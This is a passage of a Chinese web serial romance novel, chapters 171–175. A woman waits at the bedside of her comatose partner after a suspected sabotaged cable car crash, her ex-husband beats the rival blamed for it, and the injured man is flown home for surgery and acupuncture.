“高山远。”舒星若毫不犹豫地说出了这个名字,“他叫高山远,是京市人,他和我之间有些过节。”
警察记录了下来,但表情显然并没有太当回事。“好的,我们会去调查的。但是女
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士,在没有确凿证据之前,这也只是您的猜测。从我们目前勘察现场的情况来看,更像是一起因为设备老化失修,导致的意外事故。”
设备老化?
舒星若在心里冷笑。
雪绒花是顶级的度假村,所有的设备都定期检修,怎么可能突然老化到导致缆车坠毁?
这套说辞,不过是高山远的障眼法。
她知道,高山远既然敢做,就一定抹掉了所有的痕迹。
想从正常的法律途径找到证据,恐怕比登天还难。
送走了警察,度假村派来的人也到了。是一个很和善的中年女人,舒星若拜托她先带季知许回别墅休息,好好安抚他。
走廊里,只剩下她一个人。
无边的孤寂和恐惧,再次将她淹没。她抱着膝盖,把头深深地埋了进去,肩膀不受控制地颤抖着。
不知道过了多久,抢救室的门终于开了。
舒星若猛地站起来,跌跌撞撞地冲了过去,抓住医生的胳膊,声音抖得不成样子。
“医生,他怎么样了?他怎么样了?”
医生摘下口罩,脸色凝重地摇了摇头。
“病人的情况非常不乐观。”
舒星若感觉自己的心脏瞬间被一只无形的手攥住,疼得她无法呼吸。
“他从高处坠落,背部和后脑受到猛烈撞击,造成了多处粉碎性骨折和严重的颅内损伤。颅内压非常高,有大面积的出血和水肿。我们虽然已经尽力清除了血肿,但是……”
医生顿了顿,看着她惨白的脸,缓缓地继续说道:“但是他的生命体征非常微弱,陷入了深度昏迷。能不能醒过来,什么时候能醒过来,都是未知数。而且,我们这里的医疗条件有限,对于这种级别的重度颅脑损伤,后续的治疗和康复,我们能做的也不多。”
“家属,要做好心理准备。”
医生的话像一把尖利的**,狠狠地捅进了舒星若的心脏。
她踉跄着后退了两步,后背重重地撞在冰冷的墙壁上。
世界在她眼前天旋地转,耳边是医生嗡嗡作响的声音,可她一个字都听不清了。
她的脑子里,只剩下那句“做好心理准备”。
准备什么?
准备他再也醒不过来吗?
准备她从此以后,就再也见不到那个会温柔地叫她“若若”,会把她和许许宠上天的男人了吗?
不。
她不接受,她绝对不接受!
一股巨大的眩晕感袭来,舒星若眼前一黑,身体顺着墙壁,无力地滑了下去。
第171章 季宴礼竟这么在乎他们母子
舒星若醒来时,发现自己躺在一间病房里,手背上扎着输液的针头。
“舒小姐,你醒了?”
是度假村的经理,他正一脸担忧地站在床边。
“我怎么会在这里?”舒星若挣扎着要坐起来,但发现自己脱力得厉害。
“您刚才晕倒了,医生说您是急火攻心,加上过度疲劳,给您用了药。”经理扶着她,递过来一杯温水,“您别太担心了,苏先生吉人自有天相,一定会没事的。”
舒星若喝了口水,稍微缓过来一些,立刻问道:“他呢?他现在在哪里?”
“苏先生已经被转到ICU了。”
舒星若的心又被狠狠揪了一下。她一把拔掉手上的针头,拿起床头的棉签按在手上,不顾经理的阻拦,掀开被子就要下床。
“我要去看他。”
“您现在身体还很虚弱……”
“我没事。”舒星若的语气非常坚决,苏容泽现在生死不明,她的心痛得几乎要窒息。
她扶着墙,快步走到ICU的门口。
隔着厚厚的玻璃窗,她看到了躺在病床上的苏容泽。
他身上插满了各种各样的管子,脸上戴着呼吸机,床边的仪器上,跳动着各种波形和数据。
那些冰冷的数字,像一把把刀子,割着她的心。
几小时前,他还生龙活虎地抱着她在雪地里打滚,还在她耳边说那些让她脸红心跳的情话。
可现在,他却像个没有生命的木偶,安静地躺在那里,对她所有的呼唤和痛苦,都毫无反应。
舒星若的眼泪,无声地滑落。
她把手掌贴在冰冷的玻璃上,仿佛这样就能感受到他的温度。
“容泽,你听得到吗?”
“你快点醒过来,好不好?”
“你说过要保护我的,你怎么能自己躺在这里?”
“你这个骗子……”
她喃喃自语,声音破碎不成调。
不知过了多久,一个穿着得体的男人,走到了她的身边。
“舒小姐,节哀。”声音里满是幸灾乐祸。
是高山远。
他竟然还敢出现在这里。
“是你做的,对不对?”舒星若的声音冷得像冰,她猛地转过头,通红的眼睛死死地盯着他。
高山远穿着一身笔挺的黑色西装,头发梳得一丝不苟。
比起当年那个穷大学生,现在的他看起来就是个衣冠楚楚的禽兽。
他面对舒星若的质问,脸上没有丝毫的慌乱,反而露出了讥讽的笑容。
“星若,你在说什么?我听不懂。我只是听说苏总出了意外,特地过来探望一下。毕竟,我们也算是同学一场。”
他的语气充满了虚伪的关切,每一个字都是在挑衅。
“意外?”舒星若冷笑一声,“高山远,你别在我面前演戏了!雪绒花度假村的缆车,每晚都会检修,怎么可能说出意外就出意外?你敢说,这件事跟你一点关系都没有吗?”
“我当然敢说。”高山远摊了摊手,一脸无辜,“星若,我知道你现在心情不好,但也不能随便冤枉人啊。凡事都要讲证据的,警察刚才也来找过我了,我把我所知道的都告诉他们了。我相信,他们会还我一个清白的。”
他还敢提警察!
舒星若气得浑身发抖。
她知道,他肯定早就把一切都安排好了,警察根本不可能从他身上查到任何线索。
“啪,”舒星若用尽全身的力气扇了他一巴掌,“你个混蛋,我当年真是瞎了眼救了你。”
高山远目露凶光:“救我?要不是你多管闲事,高家就不会认回我,我母亲就不会死。”
他死死的瞪着舒星若:“凭什么我母亲枯骨黄土,你找了一个又一个的富二代风流快活。”
高山远一字一句的说道:“舒星若,你该死。”
舒星若双眼通红,怒斥道:“疯子,你这个彻头彻尾的疯子。你妈当小三,被人家原配弄死,活该。”
“还有你,你这个贱种,**生的私生子,永远都上不来台面。”
舒星若的话每个字都在戳高山远的肺管子,他抬手就要打舒星若。
舒星若对他的仇恨已经到了极点,眼疾手快的躲过他的巴掌,反手握住他的胳膊,“咔嚓”一声,高山远的胳膊被卸了。
走廊里传来高山远杀猪般的嚎叫,他脸涨成了猪肝色,“舒星若,你个**,你对我做了什么?”
舒星若冷冷的望着他:“比起你对我们所做的,不及十分之一。”
如果不是在医院里,她会当场**,替苏容泽报仇。
“谭助,快过来,我好痛。”高山远嚎叫着,将谭蔚然呼喊过来。
谭蔚然大惊失色:“先生,您的手怎么了?”
高山远哀嚎着控诉:“报警,报警,是舒星若干的。”
舒星若丝毫不怕,她计划等警察来之前给他按上,没有任何证据,定不了他的罪。
谭蔚然正准备报警,手机被突然闯进来的季宴礼打掉。
季宴礼一脸寒意:“高山远,这点痛你就受不了了?比起你加诸在星若身上的,这又算得了什么?”
舒星若本来就体力不支,刚卸高山远胳膊时用尽力气,她脚下不稳,差点栽倒在地。
季宴礼眼疾手快的扶住她,关切的问道:“星若,你没事吧?”
舒星若意识恍惚:“你怎么来了?”
提起这个季宴礼就来气,他昨晚跟季知许视频,得知苏容泽带着他们母子俩来滑雪。
从季知许嘴里他套出话来,他们同住一间房,季宴礼更火大了。
今天一大早就坐飞机赶了过来。
到了滑雪场听说他们出了事故,他又马不停蹄的赶到医院。
他刚到就听见高山远和舒星若在吵架,他正准备要冲上来,舒星若已经将高山远的胳膊卸了。
季宴礼低声说:“不怕,我已经让人去把监控删了,高山远这个哑巴亏吃定了。”
他冷峻的眼神扫过神色痛楚的高山远,“王八蛋,竟敢对我老婆孩子下手。”
季宴礼的瞳孔,瞬间缩成了危险的针芒。
他缓缓站起身,将舒星若安顿好在长椅上。
“在这里等我。”
说完,他解开西装的扣子,松了松领带,一步一步,朝着高山远走了过去。
他每走一步,身上的气压就低一分。
等他走到高山远面前时,那股从尸山血海里爬出来的狠
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戾之气,已经让整个走廊的温度都降到了冰点。
高山远显然也感受到了这股压力,但他仗着这里是公共场合,季宴礼不敢把他怎么样,依旧有恃无恐。
“哟,这不是咱们的校草吗?听说你那个初恋陷害你前妻六年,你当了六年的蠢货。怎么,现在前妻的新欢快**,您这是赶着来捡漏,准备破镜重圆?”
季宴礼没有说话,只是用黑沉沉的眼睛,死死地盯着他。
高山远被他看得有些发毛,但嘴上依旧不饶人:“怎么,被我说中了?季总,我劝你还是别白费力气了。像舒星若这种水性杨花、贪慕虚荣的女人,就算苏容泽**,她很快又找到另一个男人。你看看,她哪天不在勾引男人……”
他的话还没说完,季宴礼的拳头,已经夹着雷霆万钧之势,狠狠地砸在了他的脸上。
“砰!”
一声闷响,高山远脸上的金丝眼镜瞬间被打飞,整个人像个破麻袋一样,向后飞了出去,重重地撞在墙上,又摔倒在地。
谭蔚然想上前帮忙,被及时赶过来的言永飞拉住了。
高山远的半边脸颊以肉眼可见的速度,迅速红肿起来。
鼻血和嘴角的血,一下子就涌了出来。
“**敢打我?!”高山远捂着脸,又惊又怒。
他没想到,一向以斯文儒雅形象示人的季宴礼,竟然会真的动手。
季宴礼一步上前,一脚踩在他的胸口上,居高临下地看着他,眼神里的暴戾和杀气,几乎要漫出来。
“打你?”他冷笑一声,声音像是从地狱里传来,“我他妈今天还要你的命!”
他俯下身,一把揪住高山远的衣领,将他从地上拎了起来,另一只手握成拳头,毫不留情地,一拳一拳,狠狠地砸向他的脸和肚子。
“砰!砰!砰!”
拳拳到肉的闷响,在寂静的走廊里,显得格外清晰和恐怖。
“我让你动她、我让你动我儿子、我让你嘴贱!”
季宴礼像是疯了一样,每一拳都用尽了全力。
他早就想这么干了,从他知道这个杂碎把舒星若和季知许卷入危险的那一刻起,他就想亲手撕了他。
高山远只剩一只手能活动,哪里是季宴礼的对手。
他被打得毫无还手之力,只能抱着头,发出杀猪般的惨叫。
“啊!别打了,救命啊!**了!”
周围的病人、家属和医护人员,都被这突如其来的暴力场面吓傻了,一时间竟然没人敢上前阻止。
舒星若也惊呆了。
她看着那个像头发狂的野兽一样,把高山远往死里打的男人,感觉既陌生又熟悉。
她从来不知道,季宴礼竟然这么在乎他们母子俩。
直到医院的保安闻讯赶来,七八个人一起上,才费了九牛二虎之力,把已经打红了眼的季宴礼,从奄奄一息的高山远身上拉开。
“放开我!我今天非弄死这个杂碎!”季宴礼还在挣扎,眼睛里布满了骇人的红血丝。
被拉开时,他还不解气,又冲上去,狠狠一脚踹在高山远的肚子上。
高山远闷哼一声,像只虾米一样蜷缩在地上,抽搐了两下,就彻底不动了。
第172章 季宴礼全身而退
医院的走廊里一片狼藉。
高山远像一滩烂泥一样躺在地上,鼻青脸肿,浑身是血,已经看不出人形。
几个医生和护士正围着他进行紧急抢救,将高山远抬上了急救床,推往急诊室。
季宴礼被几个高大的保安假假的拦着,他来之前已经准备好动手,言永飞已经打点过了。
季宴礼脸上的戾气却丝毫未减,那双布满红血丝的眼睛,依旧像刀子一样,死死地剜着远去的高山远。
警察很快就来了。
面对警察的询问,季宴礼显得异常冷静。
“人是我打的。”他语气平淡,“他先动手的,我是见义勇为。”
警察看着他这副有恃无恐的样子,又看了看他身后站着的一排黑衣保镖,一时间也有些头疼。
这明显是有备而来。
“季先生,请您跟我们回警局一趟,配合调查。”为首的警察公事公办地说道。
“可以。”季宴礼点了点头,然后转头看向一旁脸色煞白的舒星若,“在这里等我,我很快回来。”
舒星若看着他被警察带走,心里五味杂陈。
她震惊于季宴礼的暴力,但同时,又有一股说不清道不明的情绪在心底蔓延。
高山远那副嚣张得意的嘴脸,在她脑海里挥之不去。她恨不得亲手杀了他,可她不能。
她无能为力,只能眼睁睁地看着他在自己面前耀武扬威。
而季宴礼,他做了她想做却不敢做的事情。
看着高山远被打得像条死狗,她默默祈祷他最好被季宴礼打**。
但理智告诉她,如果高山远**,季宴礼也难逃死罪。
这一刻,她不希望季宴礼死。
幸好季宴礼只在警局待了不到两个小时,就毫发无伤地出来了。
至于高山远,他被鉴定为重伤,直接被送进了手术室。但他也没占到什么便宜。
季宴礼的律师抓住了他“寻衅滋事”在先的把柄,再加上他本身就背景不干净,根本不敢把事情闹大。
最后,这件事只能被定性为一场“因个人**引起的互殴”,双方私了。
季宴礼回来的时候,舒星若还坐在ICU门口的椅子上。
他走到她身边,坐下,沉默了许久,才开口道:“吓到你了?”
舒星若摇了摇头,声音有些干涩:“没有。”
她顿了顿,抬起头,认真地看着他:“谢谢你。”
这一声“谢谢”,是发自内心的。
季宴礼自嘲地笑了一下,“你还是第一次,这么真心地跟我说谢谢。”
他看着她憔悴的脸,和眼底化不开的忧愁,心里一阵发闷。
“他还是没醒吗?”他问的是苏容泽。
舒星若的眼神瞬间黯淡了下去,她摇了摇头,“没有。医生说,情况很不好。”
走廊里再次陷入了沉默。
两个人就这么静静地坐着,谁也没有再说话。
过了许久,季宴礼才再次开口,声音有些生硬:“你打算怎么办?”
舒星若茫然地看着前方,眼神没有焦距。“我不知道。我要等他醒过来。”
“如果他一直不醒呢?”季宴礼问出了那个最残忍的可能性。
舒星若的身体猛地一颤,她像是被刺痛了一样,激动地反驳道:“他会醒的,他一定会醒的!”
看着她这副样子,季宴礼把后面更伤人的话,都咽了回去。
他站起身,走到自动售货机前,买了一瓶水,拧开盖子,递到她面前。
“先喝点水。你一下午没吃东西了,我去给你买点粥。”
舒星若没有接,只是摇了摇头。
“我吃不下。”
“吃不下也得吃。”季宴礼的语气不容置喙,他把水塞进她的手里,“你如果倒下了,谁来照顾苏容泽?谁来照顾许许?”
提到儿子,舒星若的眼神终于有了波澜。
对,她还有儿子,她不能倒下。
她接过水,小口小口地喝着。温热的水流进胃里,驱散了一丝寒意,也让她混乱的思绪,稍微清晰了一些。
她想到了还在别墅里,等着她的儿子。
这里太危险了。高山远虽然被打进了医院,但谁知道他还有没有别的后手。她自己怎么样无所谓,但她不能让季知许再受到任何伤害。
她必须先把儿子送走。
可是,送去哪里?她现在根本走不开。
“季宴礼,你能不能帮我一个忙?”
这是她离婚后,第一次开口求他。
季宴礼的心脏,没来由地漏跳了一拍。
他看着她眼里的脆弱和依赖,那是一种他从未在她身上看到过的情绪。
“你说。”
舒星若深吸了一口气,“这个地方不安全
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,我想先把知许送走。我走不开,所以我想请你,帮我把他带回海市。他受了惊吓,你好好安抚他。”
季宴礼沉默了。
他不想走。
他想留在这里,陪着她。
他甚至产生了一个荒唐的念头:如果苏容泽就这么**,那他是不是就有机会了?
可当他看到舒星若那双写满了焦虑和恳求的眼睛时,这个卑劣的念头,又被他狠狠地压了下去。
他不能趁人之危。
更重要的是,保护好他们的儿子,是他们共同的责任。
“好。”他听到自己说,“我带他回去。”
得到他的承诺,舒星若紧绷的神经,终于松懈了下来。
“谢谢你。”她再次说道。
季宴礼没有再说什么,只是转身,让言助去安排回程的事宜,并派人去别墅接季知许。
一个小时后,季知许被带到了医院。
小家伙显然被白天的变故吓得不轻,一直紧紧地抱着管家的脖子,看到舒星若,才“哇”的一声哭了出来,扑进了她的怀里。
“妈妈,苏叔叔怎么样了?他醒了吗?”
舒星若抱着儿子瘦小的身体,心疼得无以复加。
她强忍着眼泪,柔声安慰道:“苏叔叔还在睡觉,他太累了。等他睡醒了,妈妈就带他回家找你好不好?”
“那妈妈你为什么不跟我一起回去?”季知许仰着小脸,大眼睛里充满了不安。
“妈妈要在这里陪着苏叔叔,给他加油打气呀。”舒星若亲了亲他的额头,“现在,爸爸先带你回家住几天。你要乖乖听话,好好吃饭,知道吗?”
季知许似懂非懂地点了点头,然后把目光投向了一旁沉默不语的季宴礼。
季宴礼走上前,蹲下身,与儿子平视。
“许许,跟爸爸走。”
季知许犹豫了一下,但还是伸出了小手。
在医院的门口,舒星若最后抱了抱儿子,在他耳边轻声嘱咐了许多。
“妈妈,你一定要快点回来。”季知许搂着她的脖子,依依不舍。
“好,妈妈保证。”
她看着季宴礼牵着季知许的手,一大一小的背影,慢慢走远,最终消失在了夜色中。
冷风吹来,舒星若裹紧了身上的羽绒服。
她的心冷透了,在心底呼喊,容泽,你到底什么时候醒来?
第173章 紧急抢救苏容泽
她重新回到ICU门口,苏容泽的情况没有任何好转。
各项生命体征依旧微弱,颅内压居高不下。
医生找她谈了几次话,话里话外的意思,都是让她做好最坏的打算,并且暗示她,以哈市这家医院的条件,能做的已经不多了。
舒星若的心,一点一点地沉了下去。
她不能把苏容泽的命,赌在这里。
一个念头,在她脑海里变得越来越清晰:她要带他走,回海市!
海市有全国最好的脑外科专家,有最先进的医疗设备。
更重要的是,又她的外公舒延兆,他们一起救治,苏容泽或许还有一线生机。
只有回到海市,苏容泽才有一线生机。
打定主意后,舒星若立刻行动起来。
她打电话给机场安排包机,又打给杨思淼。
“你哥被人害了,我们现在在哈市,我准备包机带他回来。病历我已经发给你了,你给他安排海市最好的医院和最权威的专家。”
杨思淼一脸懵逼,声音颤抖:“怎么会这样?”
舒星若说:“我现在没空跟你细说,你帮我安排,还有他包机回来的事不要泄露出去。”
她担心高山远还有后手。
杨思淼说:“行,我来安排。哈市有我们分公司的人,要不要他们过来帮忙?”
“暂时不用,目前容泽的情况不明朗,这事知道的人越少越好。”
“好,有事你就给我打电话。我现在去打点医院的事。”
在等待专机的时间里,舒星若开始办理苏容泽的转院手续。
当地医院的专家对于她的决定,都持保留意见。
“舒小姐,病人的情况非常不稳定,长途转运的风险极高。在飞机上,一旦出现紧急情况,我们很难进行有效的抢救。”主治医生劝道。
“我明白。”舒星若的眼神异常坚定,“但留在这里,他只有死路一条。转院,或许还有一线生机。这个风险,我愿意承担。所有的后果,也由我一个人负责。”
她在一份份写满了“病危”、“转运风险极高”、“家属自愿承担一切后果”的文件上,签下了自己的名字。
苏容泽被小心翼翼地从救护车上,转移到了飞机的担架上。
舒星若跟在担架旁边,寸步不离。
她看着他苍白的脸,看着他身上那些维持着他生命的管子和仪器,心如刀绞。
“容泽,我们回家了。”她握住他冰冷的手,在他的耳边轻声说道,“再坚持一下,很快就好了。我一定会拼尽全力救活你的。”
飞机在晨曦中起飞,朝着海市的方向飞去。
机舱里很安静,只有各种监护仪器发出的、有规律的“滴滴”声。
这个声音,在此时舒星若听来,成了世界上最动听的音乐。
因为它代表着,苏容泽还活着。
她就坐在他的床边,握着他的手,一刻也不敢松开。
她一遍又一遍地,跟他说话。
“容泽,你还记得我们第一次见面吗?在度假村,你虽然怀疑我的医术,但是还是尊重我。那时候我就觉得,你这个人虽然看起来冷冰冰的,但心肠还不错。”
“后来,我去东盛银行开户,我看着你工作时忙碌的样子,突然觉得你很帅。真的,比季宴礼帅多了。”
“你还记得吗?你跟我表白的时候,说爱我是蓄谋已久。我当时都惊呆了,我从来不知道,自己也会被这样一个人,放在心尖上疼爱。”
“你为我做了那么多事,为我出头,教我儿子滑雪,把我宠得像个女王。我还没来得及好好谢谢你,你怎么能就这么躺下了?”
“苏容泽,你给我听着,你必须醒过来!你说了要娶我的,你不能食言!”
“只要你醒过来,我就嫁给你。我们一家人永远在一起,好不好?”
她说着说着,眼泪就又流了下来。
她把脸贴在他冰冷的手背上,任由泪水浸湿他的皮肤。
随行的护士看着她,都忍不住红了眼眶,悄悄地别过了头。
数小时的飞行,像是几个世纪一样漫长。
当飞机终于在海市公务机专用跑道上降落时,舒星若感觉自己浑身的力气都快要被抽干了。
她强撑着,不让自己倒下去。
机舱门打开,一辆救护车早已等候在停机坪上。
杨思淼和吉广琪带着医护人员亲自等在救护车的门口,神情严肃。
医疗团队看过苏容泽的病历之后,对他说:“苏总的情况不太乐观,你们家人要做好心理准备。”
看到担架被抬下来,吉广琪泣不成声:“容泽,你醒过来看看妈妈,你不能让我白发人送黑发人。”
舒星若冷静的说道,眼神中带着决绝的坚定:“阿姨,容泽不会有事的。”
舒星若的医术大家是信得过的,她这么说,吉广琪和杨思淼看向她,心里稍微平静了些。
医疗团队立刻上前,快速而专业地检查了一下苏容泽的情况。
“病人瞳孔不等大,光反射消失,颅内压过高,立刻静脉推注甘露醇!”
“生命体征不稳定,准备肾上腺素!”
“马上送手术室,快!”
救护车拉响了刺耳的警报
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,一路风驰电掣,朝着海市第一医院驶去。
舒星若坐在救护车里,她紧紧地握着苏容泽的手,在心里一遍又一遍地祈祷。
老天爷,求求你,把他还给我。
只要他能活下来,让我做什么都可以。
救护车呼啸着驶入海市第一医院,早已待命的医护团队立刻接手,推着移动病床,一路飞奔,直接冲向顶楼的VIP手术中心。
“病人颅内压持续升高,心率下降,准备二次开颅!”
“血库备血!O型RH阳性,准备1000CC!”
“麻醉师就位!”
走廊里,回荡着医生铿锵有力的声音和杂乱而急促的脚步声。
舒星若被这股紧张到窒息的氛围包裹着,只能麻木地跟在后面。
“砰!”
手术室的大门在她面前重重关上,顶上那盏红色的“手术中”灯牌,再一次亮起。
和在哈市时一样,她又一次被隔绝在了门外。
但这一次,她的心里,多了很多希望。
因为门里面,有全国最顶尖的神经外科团队。
杨思淼和吉广琪也焦急的等在门外。
杨思淼看着舒星若,声音沙哑地问:“若姐,这次的事情,到底是怎么回事?好端端的,怎么会发生这种事?”
舒星若将高山远的事情,简单的说了。她不想节外生枝,没有提他报复自己的事。
杨思淼气得脸色铁青,一拳砸在了墙上。
“高山远,你个混蛋。好,好得很!你居然敢动我二哥,”他眼中迸发出骇人的寒光,“这件事,我绝不会就这么算了,我一定要让他付出比死还惨痛的代价!”
他从小就跟苏容泽关系好,苏容泽近乎于他的亲哥。
吉广琪怒火中烧:“我知道他在狙击东盛,但是被容泽和季宴礼联手反杀,想不到他竟然恼羞成怒。高氏在京市有头有脸,怎么出了这么一个卑鄙小人?”
舒星若说:“高山远是个私生子,从小被高忠的小三养大。”
“怪不得这么不是人。”杨思淼骂道,“高山远那王八蛋现在在哪?”
“被季宴礼打进了医院。”舒星若三言两语讲了季宴礼在医院发怒的事。
吉广琪咬牙切齿的说道:“打他一顿太便宜他了,我不会就这么轻易算了。”
舒星若知道,高山远的好日子,到头了。
他惹了苏容泽就是惹了吉家和杨家,大家联手,纵使高家在京市势力再大,也至少脱层皮。
但现在,这些都不重要。
重要的是,手术室里的那个人,能不能挺过这一关。
第174章 季宴礼主动通知舒延兆救苏容泽
时间在焦灼的等待中,一分一秒地流逝。
一个小时,两个小时,五个小时……
期间,有护士不断地进去,送进去一袋又一袋的血浆。
每一次开门,舒星若都紧张地站起来,希望能得到一点消息,但每一次,都失望了。
季宴礼也来了。
他没有走近,只是远远地站在走廊的另一头,沉默地看着她。
他手里提着一个保温桶。
言永飞走了过来,将东西递给舒星若,低声说道:“舒总,这是季总给您准备的。您已经一天一夜没合眼了,还是吃点东西,休息一下吧。”
舒星若看着保温桶,又看了一眼远处那个挺拔的身影,心里说不出的复杂。
她没有胃口,但她知道季宴礼说得对,她不能倒下。
她对吉广琪说了一声,走到一旁的休息区,打开保温桶。
里面是她平时最喜欢喝的海鲜粥,还冒着热气。
她机械地往嘴里送着,味同嚼蜡。
她现在吃东西只为了生存,等待苏容泽醒来的好消息。
见舒星若吃完东西,季宴礼才放心的回去。
他不在乎苏容泽的死活,他只担心会不会影响到舒星若。
他庆幸自己当初没有不理智的对苏容泽动手,失去苏容泽让舒星若形容枯槁,这是他不愿意看见的。
他希望舒星若回到他身边,而不是得到一个行尸走肉的她。
抢救手术从上午,一直持续到了晚上七点。
手术室的绿灯终于熄灭,厚重的门被推开,浓重的消毒水味和血腥味扑面而来。
主治医生摘下口罩,疲惫的脸上看不出半点喜色,他对着焦灼等待的众人说道:“苏总的情况暂时稳定了,但颅内损伤严重,能不能醒来我们也不好说。”
“不好说”三个字,像淬了冰的重锤,狠狠砸在吉广琪的心上。
她眼前一黑,整个世界都在天旋地转,身体一软就要往地上滑。
“大姨!”杨思淼眼疾手快地扶住了她。
吉广琪却像是没感觉到,她死死抓住身旁舒星若冰凉的手,指甲几乎要嵌进对方的肉里:“你不是说容泽会没事的吗?你听见没有,医生说他可能醒不来了!怎么会醒不来?”
她的声音凄厉而尖锐,带着极度的恐惧。
苏容泽是她唯一的儿子,是她的骄傲和底气。
她一生奋斗的事业是要留给他的,他不能出事。
舒星若的脸色比走廊的墙壁还要苍白,但她的眼神却异常决绝,一字一句:“他一定会没事的。”
吉广琪倒吸一口冷气,瞬间明白了。
原来她在机场那么坚定的语气,只是在安慰自己,甚至她自己也在靠这句话支撑着。
最后一丝希望的泡沫被戳破,吉广琪彻底崩溃了。
她泪眼朦胧,摇晃着舒星若的肩膀,疯狂地逼问:“那我儿子到底能不能醒来?你快说,你告诉我啊!”
“大姨,你冷静点!你不能这么逼星若,你没看她已经失魂落魄了吗?”杨思淼赶紧上前拉住她,将几乎要站不稳的舒星若护在身后。
他比吉广琪要理智得多,现在苏容泽能否醒转的最大希望,不在那些束手无策的医生身上,而在舒星若。
“星若,你先回去好好休息,养足精神。”杨思淼放缓了语气,轻声劝道,“等你休息好了,再来给二哥治疗。你忘了外婆那时候吗?所有人都说不行,最后还不是被你救回来了。”
他坚信,只要舒星若能从这巨大的打击中冷静下来,就一定有办法。
话音刚落,一个苍老却沉稳的脚步声由远及近。
“若若!”
听到这个熟悉的声音,舒星若紧绷到极致的身体猛地一颤,她循声望去,看到那个熟悉的身影,瞬间像是找到了主心骨。
所有的坚强、所有的伪装,在这一刻土崩瓦解。
她飞奔过去,一头扎进老人的怀里,压抑了许久的哭声终于爆发:“外公!你救救容泽,他昏迷了,我不要他死。你救救他,求求你了!”
舒延兆看着怀里哭得浑身颤抖、憔悴不堪的外孙女,心疼得像是被刀子剜着。
他从未见过如此失态、如此脆弱的舒星若。
他轻轻拍着她的背,
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声音温和却充满力量:“我就是来救他的。你先回去好好休息,这里交给外公。乖,听话。”
舒延兆是季宴礼通知的。
在纠结了整整一天后,季宴礼的脑子里依然挥之不去舒星若那双了无生趣、宛如死灰的眼睛。
舒星若状态令他清楚地明白了一个道理,如果苏容泽就此长眠不醒,那舒星若的后半生,也将被永远困在没有光亮的深渊里。
毕竟,他是为了救她才重伤不醒的。
最终,季宴礼长叹一口气,做出了他这辈子最艰难的决定。
他拨通了舒延兆的号码。
“外公,苏容泽为了救星若母子俩,受伤严重,现在还在抢救中。”
电话那头的舒延兆沉默了片刻。
他一直觉得苏容泽很适合舒星若,人很好。
却没想到,他能好到这种地步,好到可以为了舒星若母子奋不顾身,连自己的性命都不要了。
这份爱,已经深刻到了骨子里去了。
更让他意外的是,一向视苏容泽为情敌的季宴礼,竟然没有自私地选择隐瞒,反而主动通知自己。
让自己去救苏容泽。
舒延兆心中百感交集,由衷地说道:“宴礼,谢谢你通知我。我这就去医院,地址发给我一下。”
季宴礼迅速挂了电话,将地址发了过去。
给苏容泽主刀的专家医生并不认识舒延兆,他上下打量着这个提着古朴药箱的老头,眼神里充满了现代医学精英对传统中医的审视和不屑。
“舒医生?”他刻意加重了“医生”两个字的读音,“如果您要在我们的ICU里给苏总进行‘中医治疗’,恐怕不符合医院的规定。”
杨思淼一听这话,火气“噌”地上来了。
他上前一步,直接来到医生面前,冷笑道:“规定?规定是死的,人是活的。我二哥现在躺在里面生死未卜,你们说没办法。有人能救,你跟我谈规定?”
“我现在就给你们院长打电话,你们没本事让我二哥醒过来,还要拦着老中医救人。耽误了我二哥的治疗,这责任你担得起吗你?”
第175章 还有希望
主治医生李乐和被他这富家少爷的嚣张气焰,噎得脸色一阵青一阵白,他还从来没受过这样的**。
可杨家的背景他确实惹不起,只能悻悻地闭了嘴,退到一旁。
他心中却在冷哼:“脑子都坏掉了,居然相信那些中医神棍。我倒要看看,他能玩出什么花样来!”
他决定不走了,就在这儿等着,等着看这老头如何出丑,等着这家人被现实打脸后,再来求着自己想办法。
舒延兆对此人的心思视若无睹,他有条不紊地换上全套无菌防护服,连同他那个被医院严格消过毒的药箱,一同被带进了ICU病房。
厚重的门再次关上,将内外隔绝成两个世界。
吉广琪和杨思淼焦急地在门外踱步,而那位李乐和则双臂环胸,抱着一副看好戏的心态,嘴角挂着毫不掩饰的嘲讽。
他救不醒的人,一个自称老中医的老头子就有这个能耐?简直是天方夜谭。
舒星若不肯走,她固执地守在门口,后背紧紧贴着冰冷的墙壁。
她要在这里等,她要亲耳听到外公从那扇门后走出来,告诉她苏容泽还有救。
此刻,外公就是她最后的,也是唯一的希望。
舒延兆进去之后,看着病床上被机器环绕的苏容泽,他心想:“如果不是他,现在进ICU的就是若若和许许。”
他托起苏容泽的手,心疼的说道:“容泽,苦了你了。”
病床上的苏容泽毫无反应。
舒延兆摘掉手套,用事先准备好的酒精消毒手,防止污染了病房。
李乐和在一旁冷笑,心道:“这老头还挺会装,竟知道ICU的规矩。”
舒延兆伸手给苏容泽号脉,三指轻搭在苏容泽未挂点滴的右腕上。
他闭目凝神,许久,他又换到左手,小心的翻转他的手掌,认真的号脉。
不能出一点纰漏,苏容泽必须活着。
脉象沉细而涩,如轻刀刮竹。
好在苏容泽长期健身,身体底子很好。
“气血瘀滞,髓海空虚,神明无所依托。”舒延兆心道。
他从随身带来的木匣中取出一套银针,细如发丝,在灯光下闪着微弱的光芒。
“这是要针灸?”李乐和皱眉,“苏总刚术后,开颅的地方还未愈合,怎么能扎针?会感染的。”果然是个中医神棍,连这点都不知道还出来**。
一旁的舒星若沉声道:“放心,我外公懂这些,百会穴他会用浅刺捻转,不会触碰开颅的地方。”
杨思淼狠狠地瞪了主治医生一眼,“别废话,你不放心舒老的医术,那是你孤陋寡闻,我们心里有数。”
舒星若补充道:“中医认为头为诸阳之会,针刺可振奋阳气,通调经络。西医学也证实针刺能增加脑血流量,激活神经细胞,不是吗?”
李乐和惊讶于舒星若竟引用西医研究,一时无言以对。
舒延兆手法极快,已在苏容泽的人中穴进针。
稍作捻转后,又取内关、涌泉、三阴交诸穴。最后在百会穴处,他果然如舒星若所说,极轻极浅地施针,手法灵巧如蝶栖花蕊。
“人中醒神开窍,内关宁心安神,涌泉引火归元,三阴交调和气血。”舒星若看着外公操作,轻声解释。
既是对李乐和的反击,也像是自己在给苏容泽治疗。
一套针施完,舒延兆又从木匣中取出一个小巧的艾灸盒,固定在苏容泽腹部的气海穴上。
“这是?”李乐和头大,竟有人想在ICU用明火。
“无烟艾条,安全。”舒延兆点燃后,舒星若在外面解释道,“容泽阳气虚极,需艾灸温通经脉,培元固本。”
银针留了三十分钟。
外面的人度秒如年,只有李乐和的脸色晦暗不明。
一方面他看清了舒延兆不是骗子,另一方面要是他治好了苏容泽,那自己的脸往哪搁?
毕竟他可是杨思淼花了一百万请来的,这老头他们能给多少钱?
起针时,舒延兆的手法更加令人惊叹。
